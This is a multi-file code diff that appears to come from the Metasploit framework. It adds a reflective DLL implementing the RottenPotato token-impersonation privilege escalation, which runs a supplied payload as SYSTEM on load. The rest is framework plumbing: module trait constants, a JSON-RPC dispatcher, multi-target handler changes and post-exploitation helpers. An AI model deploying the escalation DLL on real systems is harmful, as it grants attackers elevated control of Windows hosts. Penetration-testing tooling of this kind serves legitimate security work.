LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, *_PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,79 @@
#include "stdafx.h"
#include "ReflectiveLoader.h"
#include "MSFRottenPotato.h"
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
HANDLE ElevatedToken;
VOID ExecutePayload(LPVOID lpPayload)
{
SetThreadToken(NULL, ElevatedToken);
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
}
int RottenPotato()
{
CMSFRottenPotato* test = new CMSFRottenPotato();
test->startCOMListenerThread();
test->startRPCConnectionThread();
test->triggerDCOM();
int ret = 0;
while (true) {
if (test->negotiator->authResult != -1) {
/*Enable the priv if possible*/
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return 0;
// Get the LUID for the Impersonate privilege.
int res = LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the impersonate priv for this process.
res = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
QuerySecurityContextToken(test->negotiator->phContext, &ElevatedToken);
break;
}
else {
Sleep(500);
}
}
return ret;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
DWORD dwResult = 0;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
RottenPotato();
ExecutePayload(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

Binary file not shown.

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// MSFRottenPotato.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -195,6 +195,36 @@ class ReadableText
tbl.to_s + "\n"
end
def self.dump_traits(mod, indent=' ')
output = ''
unless mod.side_effects.empty?
output << "Module side effects:\n"
mod.side_effects.each { |side_effect|
output << indent + side_effect + "\n"
}
output << "\n"
end
unless mod.stability.empty?
output << "Module stability:\n"
mod.stability.each { |stability|
output << indent + stability + "\n"
}
output << "\n"
end
unless mod.reliability.empty?
output << "Module reliability:\n"
mod.reliability.each { |reliability|
output << indent + reliability + "\n"
}
output << "\n"
end
output
end
# Dumps information about an exploit module.
#
# @param mod [Msf::Exploit] the exploit module.
@ -219,6 +249,8 @@ class ReadableText
}
output << "\n"
output << dump_traits(mod)
# Targets
output << "Available targets:\n"
output << dump_exploit_targets(mod, indent)
@ -282,6 +314,8 @@ class ReadableText
}
output << "\n"
output << dump_traits(mod)
# Actions
if mod.action
output << "Available actions:\n"
@ -335,6 +369,8 @@ class ReadableText
end
output << "\n"
output << dump_traits(mod)
# Compatible session types
if mod.session_types
output << "Compatible session types:\n"
@ -478,6 +514,8 @@ class ReadableText
}
output << "\n"
output << dump_traits(mod)
# Description
output << "Description:\n"
output << word_wrap(Rex::Text.compress(mod.description))

View File

@ -78,6 +78,9 @@ module Exploit
# Start it up
driver = ExploitDriver.new(exploit.framework)
# Keep the handler of driver running if exploit multi targets.
driver.keep_handler = true if opts["multi"]
# Initialize the driver instance
driver.exploit = exploit
driver.payload = exploit.framework.payloads.create(opts['Payload'])

View File

@ -51,6 +51,53 @@ RankingName =
ExcellentRanking => "excellent"
}
#
# Stability traits
#
# Module should not crash the service
CRASH_SAFE = 'crash-safe'
# Module may crash the service, but the service restarts.
CRASH_SERVICE_RESTARTS = 'crash-service-restarts'
# Module may crash the service, and the service remains down.
CRASH_SERVICE_DOWN = 'crash-service-down'
# Module may crash the OS, but the OS restarts.
CRASH_OS_RESTARTS = 'crash-os-restarts'
# Module may crash the OS, and the OS remains down.
CRASH_OS_DOWN = 'crash-os-down'
# Module may cause a resource (such as a file or data in database) to be unavailable for the service.
SERVICE_RESOURCE_LOSS = 'service-resource-loss'
# Modules may cause a resource (such as a file) to be unavailable for the OS.
OS_RESOURCE_LOSS = 'os-resource-loss'
#
# Side-effect traits
#
# Modules leaves payload or a dropper on the target machine
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
# Module modifies some config file on the target machine
CONFIG_CHANGES = 'config-changes'
# Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log)
IOC_IN_LOGS = 'ioc-in-logs'
# Module may cause account lockouts (likely due to brute-forcing)
ACCOUNT_LOCKOUTS = 'account-lockouts'
# Module may show something on the screen (Example: a window pops up)
SCREEN_EFFECTS = 'screen-effects'
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps)
AUDIO_EFFECTS = 'audio-effects'
# Module may produce physical effects (Examples: the device makes movement or flashes LEDs)
PHYSICAL_EFFECTS = 'physical-effects'
#
# Reliability
#
# The module tends to fail to get a session at first attempt
FIRST_ATTEMPT_FAIL = 'first-attempt-fail'
# The module is expected to get a shell every time it fires
REPEATABLE_SESSION = 'repeatable-session'
module HttpClients
IE = "MSIE"
FF = "Firefox"

View File

@ -19,6 +19,11 @@ module ServletHelper
set_json_data_response(response: '')
end
def set_raw_response(data, code: 200)
headers = { 'Content-Type' => 'application/json' }
[code, headers, data]
end
def set_json_response(data, includes = nil, code = 200)
headers = { 'Content-Type' => 'application/json' }
[code, headers, to_json(data, includes)]

View File

@ -1409,6 +1409,12 @@ class Exploit < Msf::Module
self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}")
elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
when ::Interrupt
self.fail_reason = Msf::Exploit::Failure::UserInterrupt
self.print_error("Exploit failed [#{self.fail_reason}]: #{msg}")
elog("Exploit failed (#{self.refname}): #{msg}", 'core', LEV_0)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else
# Compare as a string since not all error classes may be loaded
@ -1450,6 +1456,8 @@ class Exploit < Msf::Module
# Interrupt any session waiters in the handler
self.interrupt_handler
return self.fail_reason
end
def report_failure

View File

@ -22,6 +22,7 @@ class ExploitDriver
self.use_job = false
self.job_id = nil
self.force_wait_for_session = false
self.keep_handler = false
self.semaphore = Mutex.new
end
@ -164,8 +165,15 @@ class ExploitDriver
# settings until after they're done.
ctx = [ exploit, payload ]
job_run_proc(ctx)
job_cleanup_proc(ctx)
begin
job_run_proc(ctx)
# For multi exploit targets.
# Keep the payload handler until last target or interrupt
job_cleanup_proc(ctx) unless keep_handler
rescue ::Interrupt
job_cleanup_proc(ctx)
raise $!
end
end
return session
@ -181,6 +189,7 @@ class ExploitDriver
attr_accessor :job_id
attr_accessor :force_wait_for_session # :nodoc:
attr_accessor :session # :nodoc:
attr_accessor :keep_handler # :nodoc:
# To synchronize threads cleaning up the exploit and the handler
attr_accessor :semaphore
@ -211,7 +220,7 @@ protected
delay = 0.01
end
exploit.handle_exception e
fail_reason = exploit.handle_exception(e)
end
# Start bind handlers after exploit completion
@ -237,6 +246,10 @@ protected
exploit.fail_detail = "No session created"
exploit.report_failure
end
if fail_reason && fail_reason == Msf::Exploit::Failure::UserInterrupt
raise ::Interrupt
end
end
#

View File

@ -39,6 +39,9 @@ class Module
autoload :Type, 'msf/core/module/type'
autoload :UI, 'msf/core/module/ui'
autoload :UUID, 'msf/core/module/uuid'
autoload :SideEffects, 'msf/core/module/side_effects'
autoload :Stability, 'msf/core/module/stability'
autoload :Reliability, 'msf/core/module/reliability'
include Msf::Module::Arch
include Msf::Module::Auth
@ -56,6 +59,9 @@ class Module
include Msf::Module::Type
include Msf::Module::UI
include Msf::Module::UUID
include Msf::Module::SideEffects
include Msf::Module::Stability
include Msf::Module::Reliability
# The key where a comma-separated list of Ruby module names will live in the
# datastore, consumed by #replicant to allow clean override of MSF module methods.

View File

@ -0,0 +1,18 @@
module Msf::Module::Reliability
extend ActiveSupport::Concern
module ClassMethods
def reliability
instance = self.new
instance.notes['Reliability'] || []
end
end
def reliability
self.class.reliability
end
def reliability_to_s
reliability * ', '
end
end

View File

@ -0,0 +1,19 @@
module Msf::Module::SideEffects
extend ActiveSupport::Concern
module ClassMethods
def side_effects
instance = self.new
instance.notes['SideEffects'] || []
end
end
def side_effects
self.class.side_effects
end
def side_effects_to_s
side_effects * ', '
end
end

View File

@ -0,0 +1,19 @@
module Msf::Module::Stability
extend ActiveSupport::Concern
module ClassMethods
def stability
instance = self.new
instance.notes['Stability'] || []
end
end
def stability
self.class.stability
end
def stability_to_s
stability * ', '
end
end

View File

@ -144,6 +144,8 @@ class Msf::Modules::External::Shim
# ensure that they are properly capitalized before rendering.
#
def self.transform_notes(notes)
return {} unless notes
notes.reduce({}) do |acc, (key, val)|
acc[key.upcase] = val
acc

View File

@ -504,9 +504,7 @@ class Msf::Modules::Loader::Base
# Returns an Array of names to make a fully qualified module name to
# wrap the MetasploitModule class so that it doesn't overwrite other
# (metasploit) module's classes. Invalid module name characters are
# escaped by using 'H*' unpacking and prefixing each code with X so
# the code remains a valid module name when it starts with a digit.
# (metasploit) module's classes.
#
# @param [String] module_full_name The unique canonical name
# for the module including type.
@ -514,7 +512,18 @@ class Msf::Modules::Loader::Base
#
# @see namespace_module
def namespace_module_names(module_full_name)
NAMESPACE_MODULE_NAMES + [ "Mod" + module_full_name.unpack("H*").first.downcase ]
relative_name = module_full_name.split('/').map(&:capitalize).join('__')
NAMESPACE_MODULE_NAMES + [relative_name]
end
# This reverses a namespace module's relative name to a module full name
#
# @param [String] relative_name The namespace module's relative name
# @return [String] The module full name
#
# @see namespace_module_names
def reverse_relative_name(relative_name)
relative_name.split('__').map(&:downcase).join('/')
end
def namespace_module_transaction(module_full_name, options={}, &block)

View File

@ -35,6 +35,10 @@ class Obj
attr_reader :arch
# @return [Integer]
attr_reader :rport
# @return [Array<Integer>]
attr_reader :autofilter_ports
# @return [Array<String>]
attr_reader :autofilter_services
# @return [Array<String>]
attr_reader :targets
# @return [Time]
@ -80,6 +84,12 @@ class Obj
@path = module_instance.file_path
@mod_time = ::File.mtime(@path) rescue Time.now
@ref_name = module_instance.refname
if module_instance.respond_to?(:autofilter_ports)
@autofilter_ports = module_instance.autofilter_ports
end
if module_instance.respond_to?(:autofilter_services)
@autofilter_services = module_instance.autofilter_services
end
install_path = Msf::Config.install_root.to_s
if (@path.to_s.include? (install_path))
@ -118,6 +128,8 @@ class Obj
'platform' => @platform,
'arch' => @arch,
'rport' => @rport,
'autofilter_ports' => @autofilter_ports,
'autofilter_services'=> @autofilter_services,
'targets' => @targets,
'mod_time' => @mod_time.to_s,
'path' => @path,

View File

@ -264,8 +264,9 @@ class Msf::Payload::Apk
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
apktool_output = run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
unless File.readable?(injected_apk)
print_error apktool_output
raise RuntimeError, "Unable to rebuild apk with apktool"
end

View File

@ -361,6 +361,23 @@ module Msf::Post::File
write_file(remote, ::File.read(local))
end
#
# Sets the permissions on a remote file
#
# @param path [String] Path on the remote filesystem
# @param mode [Fixnum] Mode as an octal number
def chmod(path, mode = 0700)
if session.platform == 'windows'
raise "`chmod' method does not support Windows systems"
end
if session.type == 'meterpreter' && session.commands.include?('stdapi_fs_chmod')
session.fs.file.chmod(path, mode)
else
cmd_exec("chmod #{mode.to_s(8)} '#{path}'")
end
end
#
# Delete remote files
#

View File

@ -27,14 +27,15 @@ module Msf::Post::OSX::System
def get_users
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
users = []
users_arry = cmd_output.split("\n\n")
users_arry = cmd_output.tr("\r", "").split("\n\n")
users_arry.each do |u|
entry = Hash.new
u.each_line do |l|
field,val = l.chomp.split(": ")
next if field == "password"
entry[field] = val.chomp
unless val.nil?
entry[field] = val.strip
end
end
users << entry
end
@ -48,15 +49,17 @@ module Msf::Post::OSX::System
def get_system_accounts
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
users = []
users_arry = cmd_output.split("\n\n")
users_arry = cmd_output.tr("\r", "").split("\n\n")
users_arry.each do |u|
entry = {}
u.each_line do |l|
field,val = l.chomp.split(": ")
next if field == "password"
entry[field] = val.chomp
unless val.nil?
entry[field] = val.strip
end
end
next if entry["name"] !~ /^_/
next if entry["name"][0] != '_'
users << entry
end
return users
@ -69,15 +72,17 @@ module Msf::Post::OSX::System
def get_nonsystem_accounts
cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
users = []
users_arry = cmd_output.split("\n\n")
users_arry = cmd_output.tr("\r", "").split("\n\n")
users_arry.each do |u|
entry = {}
u.each_line do |l|
field,val = l.chomp.split(": ")
next if field == "password"
entry[field] = val.chomp
unless val.nil?
entry[field] = val.strip
end
end
next if entry["name"] =~ /^_/
next if entry["name"][0] == '_'
users << entry
end
return users
@ -96,8 +101,9 @@ module Msf::Post::OSX::System
u.each_line do |l|
field,val = l.chomp.split(": ")
next if field == "password"
entry[field] = val.chomp
unless val.nil?
entry[field] = val.strip
end
end
groups << entry
end

View File

@ -1,14 +1,35 @@
# -*- coding: binary -*-
require "msf/core/rpc/service"
require "msf/core/rpc/client"
module Msf::RPC
require 'msf/core/rpc/v10/constants'
require "msf/core/rpc/base"
require "msf/core/rpc/auth"
require "msf/core/rpc/core"
require "msf/core/rpc/session"
require "msf/core/rpc/module"
require "msf/core/rpc/job"
require "msf/core/rpc/console"
require "msf/core/rpc/db"
require "msf/core/rpc/plugin"
require 'msf/core/rpc/v10/service'
require 'msf/core/rpc/v10/client'
require 'msf/core/rpc/v10/rpc_auth'
require 'msf/core/rpc/v10/rpc_base'
require 'msf/core/rpc/v10/rpc_console'
require 'msf/core/rpc/v10/rpc_core'
require 'msf/core/rpc/v10/rpc_db'
require 'msf/core/rpc/v10/rpc_job'
require 'msf/core/rpc/v10/rpc_module'
require 'msf/core/rpc/v10/rpc_plugin'
require 'msf/core/rpc/v10/rpc_session'
module JSON
autoload :Dispatcher, 'msf/core/rpc/json/dispatcher'
autoload :DispatcherHelper, 'msf/core/rpc/json/dispatcher_helper'
autoload :RpcCommand, 'msf/core/rpc/json/rpc_command'
autoload :RpcCommandFactory, 'msf/core/rpc/json/rpc_command_factory'
# exception classes
autoload :Error, 'msf/core/rpc/json/error'
autoload :ParseError, 'msf/core/rpc/json/error'
autoload :InvalidRequest, 'msf/core/rpc/json/error'
autoload :MethodNotFound, 'msf/core/rpc/json/error'
autoload :InvalidParams, 'msf/core/rpc/json/error'
autoload :InternalError, 'msf/core/rpc/json/error'
autoload :ServerError, 'msf/core/rpc/json/error'
autoload :ApplicationServerError, 'msf/core/rpc/json/error'
end
end

View File

@ -0,0 +1,216 @@
require 'json'
require 'msf/core/rpc'
module Msf::RPC::JSON
class Dispatcher
JSON_RPC_VERSION = '2.0'
JSON_RPC_REQUIRED_MEMBERS = %i(jsonrpc method)
JSON_RPC_MEMBER_TYPES = {
# A String specifying the version of the JSON-RPC protocol.
jsonrpc: [String],
# A String containing the name of the method to be invoked.
method: [String],
# If present, parameters for the rpc call MUST be provided as a Structured
# value. Either by-position through an Array or by-name through an Object.
# * by-position: params MUST be an Array, containing the values in the
# Server expected order.
# * by-name: params MUST be an Object, with member names that match the
# Server expected parameter names. The absence of expected names MAY
# result in an error being generated. The names MUST match exactly,
# including case, to the method's expected parameters.
params: [Array, Hash],
# An identifier established by the Client that MUST contain a String,
# Number, or NULL value if included. If it is not included it is assumed
# to be a notification. The value SHOULD normally not be Null [1] and
# Numbers SHOULD NOT contain fractional parts [2]
id: [Integer, String, NilClass]
}
attr_reader :framework
attr_reader :command
# Instantiate a Dispatcher.
# @param framework [Msf::Simple::Framework] Framework wrapper instance
def initialize(framework)
@framework = framework
@command = nil
end
# Set the command.
# @param command [RpcCommand] the command used by the Dispatcher.
def set_command(command)
@command = command
end
# Process the JSON-RPC request.
# @param source [String] the JSON-RPC request
# @return [String] JSON-RPC response that encapsulates the RPC result
# if successful; otherwise, a JSON-RPC error response.
def process(source)
begin
request = parse_json_request(source)
if request.is_a?(Array)
# If the batch rpc call itself fails to be recognized as an valid
# JSON or as an Array with at least one value, the response from
# the Server MUST be a single Response object.
raise InvalidRequest.new if request.empty?
# process batch request
response = request.map { |r| process_request(r) }
# A Response object SHOULD exist for each Request object, except that
# there SHOULD NOT be any Response objects for notifications.
# Remove nil responses from response array
response.compact!
else
response = process_request(request)
end
rescue ParseError, InvalidRequest => e
# If there was an error in detecting the id in the Request object
# (e.g. Parse error/Invalid Request), then the id member MUST be
# Null. Don't pass request obj when building the error response.
response = self.class.create_error_response(e)
rescue RpcError => e
# other JSON-RPC errors should include the id from the Request object
response = self.class.create_error_response(e, request)
rescue => e
response = self.class.create_error_response(ApplicationServerError.new(e), request)
end
# When a rpc call is made, the Server MUST reply with a Response, except
# for in the case of Notifications. The Response is expressed as a single
# JSON Object.
self.class.to_json(response)
end
# Validate and execute the JSON-RPC request.
# @param request [Hash] the JSON-RPC request
# @returns [RpcCommand] an RpcCommand for the specified version
# @raise [InvalidParams] ArgumentError occurred during execution.
# @raise [ApplicationServerError] General server-error wrapper around an
# Msf::RPC::Exception that occurred during execution.
# @returns [Hash] JSON-RPC response that encapsulates the RPC result
# if successful; otherwise, a JSON-RPC error response.
def process_request(request)
begin
if !validate_rpc_request(request)
response = self.class.create_error_response(InvalidRequest.new)
return response
end
# dispatch method execution to command
result = @command.execute(request[:method], request[:params])
# A Notification is a Request object without an "id" member. A Request
# object that is a Notification signifies the Client's lack of interest
# in the corresponding Response object, and as such no Response object
# needs to be returned to the client. The Server MUST NOT reply to a
# Notification, including those that are within a batch request.
if request.key?(:id)
response = self.class.create_success_response(result, request)
else
response = nil
end
response
rescue ArgumentError
raise InvalidParams.new
rescue Msf::RPC::Exception => e
raise ApplicationServerError.new(e.message, data: { code: e.code })
end
end
# Validate the JSON-RPC request.
# @param request [Hash] the JSON-RPC request
# @returns [Boolean] true if the JSON-RPC request is a valid; otherwise, false.
def validate_rpc_request(request)
# validate request is an object
return false unless request.is_a?(Hash)
# validate request contains required members
JSON_RPC_REQUIRED_MEMBERS.each { |member| return false unless request.key?(member) }
return false if request[:jsonrpc] != JSON_RPC_VERSION
# validate request members are correct types
request.each do |member, value|
return false if JSON_RPC_MEMBER_TYPES.key?(member) &&
!JSON_RPC_MEMBER_TYPES[member].one? { |type| value.is_a?(type) }
end
true
end
# Parse the JSON document source into a Hash or Array with symbols for the names (keys).
# @param source [String] the JSON source
# @raise [ParseError] Invalid JSON was received by the server.
# An error occurred on the server while parsing the JSON text.
# @return [Hash or Array] Hash or Array representation of source
def parse_json_request(source)
begin
JSON.parse(source, symbolize_names: true)
rescue
raise ParseError.new
end
end
# Serialize data as JSON string.
# @param data [Hash] data
# @return [String] data serialized JSON string if data not nil; otherwise, nil.
def self.to_json(data)
return nil if data.nil?
json = data.to_json
return json.to_s
end
# Create a JSON-RPC success response.
# @param result [Object] the RPC method's return value
# @param request [Hash] the JSON-RPC request
# @returns [Hash] JSON-RPC success response.
def self.create_success_response(result, request = nil)
response = {
# A String specifying the version of the JSON-RPC protocol.
jsonrpc: JSON_RPC_VERSION,
# This member is REQUIRED on success.
# This member MUST NOT exist if there was an error invoking the method.
# The value of this member is determined by the method invoked on the Server.
result: result
}
self.add_response_id_member(response, request)
response
end
# Create a JSON-RPC error response.
# @param error [RpcError] a RpcError instance
# @param request [Hash] the JSON-RPC request
# @returns [Hash] JSON-RPC error response.
def self.create_error_response(error, request = nil)
response = {
# A String specifying the version of the JSON-RPC protocol.
jsonrpc: JSON_RPC_VERSION,
# This member is REQUIRED on error.
# This member MUST NOT exist if there was no error triggered during invocation.
# The value for this member MUST be an Object as defined in section 5.1.
error: error.to_h
}
self.add_response_id_member(response, request)
response
end
# Adds response id based on request id.
# @param response [Hash] the JSON-RPC response
# @param request [Hash] the JSON-RPC request
def self.add_response_id_member(response, request)
if !request.nil? && request.key?(:id)
response[:id] = request[:id]
else
response[:id] = nil
end
end
end
end

View File

@ -0,0 +1,31 @@
require 'msf/core/rpc'
module Msf::RPC::JSON
module DispatcherHelper
# Get an RPC Dispatcher for the RPC version. Creates a new instance and stores
# it in the dispatchers hash if one does not already exist for the version.
# @param dispatchers [Hash] hash of version Symbol - Msf::RPC::JSON::Dispatcher object pairs
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
def get_dispatcher(dispatchers, version, framework)
unless dispatchers.key?(version)
dispatchers[version] = create_dispatcher(version, framework)
end
dispatchers[version]
end
# Create an RPC Dispatcher composed of an RpcCommand for the provided version.
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
def create_dispatcher(version, framework)
command = RpcCommandFactory.create(version, framework)
dispatcher = Dispatcher.new(framework)
dispatcher.set_command(command)
dispatcher
end
end
end

View File

@ -0,0 +1,136 @@
module Msf::RPC::JSON
# JSON-RPC 2.0 Error Codes
## Specification errors:
PARSE_ERROR = -32700
INVALID_REQUEST = -32600
METHOD_NOT_FOUND = -32601
INVALID_PARAMS = -32602
INTERNAL_ERROR = -32603
## Implementation-defined server-errors:
SERVER_ERROR_MAX = -32000
SERVER_ERROR_MIN = -32099
APPLICATION_SERVER_ERROR = -32000
# JSON-RPC 2.0 Error Messages
ERROR_MESSAGES = {
# Specification errors:
PARSE_ERROR => 'Invalid JSON was received by the server. An error occurred on the server while parsing the JSON text.',
INVALID_REQUEST => 'The JSON sent is not a valid Request object.',
METHOD_NOT_FOUND => 'The method %<name>s does not exist.',
INVALID_PARAMS => 'Invalid method parameter(s).',
INTERNAL_ERROR => 'Internal JSON-RPC error',
# Implementation-defined server-errors:
APPLICATION_SERVER_ERROR => 'Application server error: %<msg>s',
}
# Base class for all Msf::RPC::JSON exceptions.
class RpcError < StandardError
# Code Message Meaning
# -32700 Parse error Invalid JSON was received by the server. An error
# occurred on the server while parsing the JSON text.
# -32600 Invalid Request The JSON sent is not a valid Request object.
# -32601 Method not found The method does not exist / is not available.
# -32602 Invalid params Invalid method parameter(s).
# -32603 Internal error Internal JSON-RPC error.
# -32000 to -32099 Server error Reserved for implementation-defined server-errors.
attr_reader :code
attr_reader :message
attr_reader :data
# Instantiate an RpcError object.
#
# @param code [Integer] A Number that indicates the error type that occurred.
# @param message [String] A String providing a short description of the error.
# The message SHOULD be limited to a concise single sentence.
# @param data [Object] A Primitive or Structured value that contains additional
# information about the error. This may be omitted. The value of this member is
# defined by the Server (e.g. detailed error information, nested errors etc.).
# The default value is nil.
def initialize(code, message, data: nil)
super(message)
@code = code
@message = message
@data = data
end
def to_h
hash = {
code: @code,
message: @message
}
# process data member
unless @data.nil?
if @data.is_a?(String) || @data.kind_of?(Numeric) || @data.is_a?(Array) || @data.is_a?(Hash)
hash[:data] = @data
elsif @data.respond_to?(:to_h)
hash[:data] = @data.to_h
else
hash[:data] = @data.to_s
end
end
hash
end
end
class ParseError < RpcError
def initialize(data: nil)
super(PARSE_ERROR, ERROR_MESSAGES[PARSE_ERROR], data: data)
end
end
class InvalidRequest < RpcError
def initialize(data: nil)
super(INVALID_REQUEST, ERROR_MESSAGES[INVALID_REQUEST], data: data)
end
end
class MethodNotFound < RpcError
def initialize(method, data: nil)
super(METHOD_NOT_FOUND, ERROR_MESSAGES[METHOD_NOT_FOUND] % {name: method}, data: data)
end
end
class InvalidParams < RpcError
def initialize(data: nil)
super(INVALID_PARAMS, ERROR_MESSAGES[INVALID_PARAMS], data: data)
end
end
class InternalError < RpcError
def initialize(e, data: nil)
super(INTERNAL_ERROR, "#{ERROR_MESSAGES[INTERNAL_ERROR]}: #{e}", data: data)
end
end
# Class is reserved for implementation-defined server-error exceptions.
class ServerError < RpcError
# Instantiate a ServerError object.
#
# @param code [Integer] A Number that indicates the error type that occurred.
# The code must be between -32000 and -32099.
# @param message [String] A String providing a short description of the error.
# The message SHOULD be limited to a concise single sentence.
# @param data [Object] A Primitive or Structured value that contains additional
# information about the error. This may be omitted. The value of this member is
# defined by the Server (e.g. detailed error information, nested errors etc.).
# The default value is nil.
# @raise [ArgumentError] Module not found (either the wrong type or name).
def initialize(code, message, data: nil)
if code < SERVER_ERROR_MIN || code > SERVER_ERROR_MAX
raise ArgumentError.new("invalid code #{code}, must be between #{SERVER_ERROR_MAX} and #{SERVER_ERROR_MIN}")
end
super(code, message, data: data)
end
end
class ApplicationServerError < ServerError
def initialize(message, data: nil)
super(APPLICATION_SERVER_ERROR, ERROR_MESSAGES[APPLICATION_SERVER_ERROR] % {msg: message}, data: data)
end
end
end

View File

@ -0,0 +1,53 @@
module Msf::RPC::JSON
class RpcCommand
attr_reader :framework
attr_accessor :execute_timeout
# Instantiate an RpcCommand.
# @param framework [Msf::Simple::Framework] Framework wrapper instance
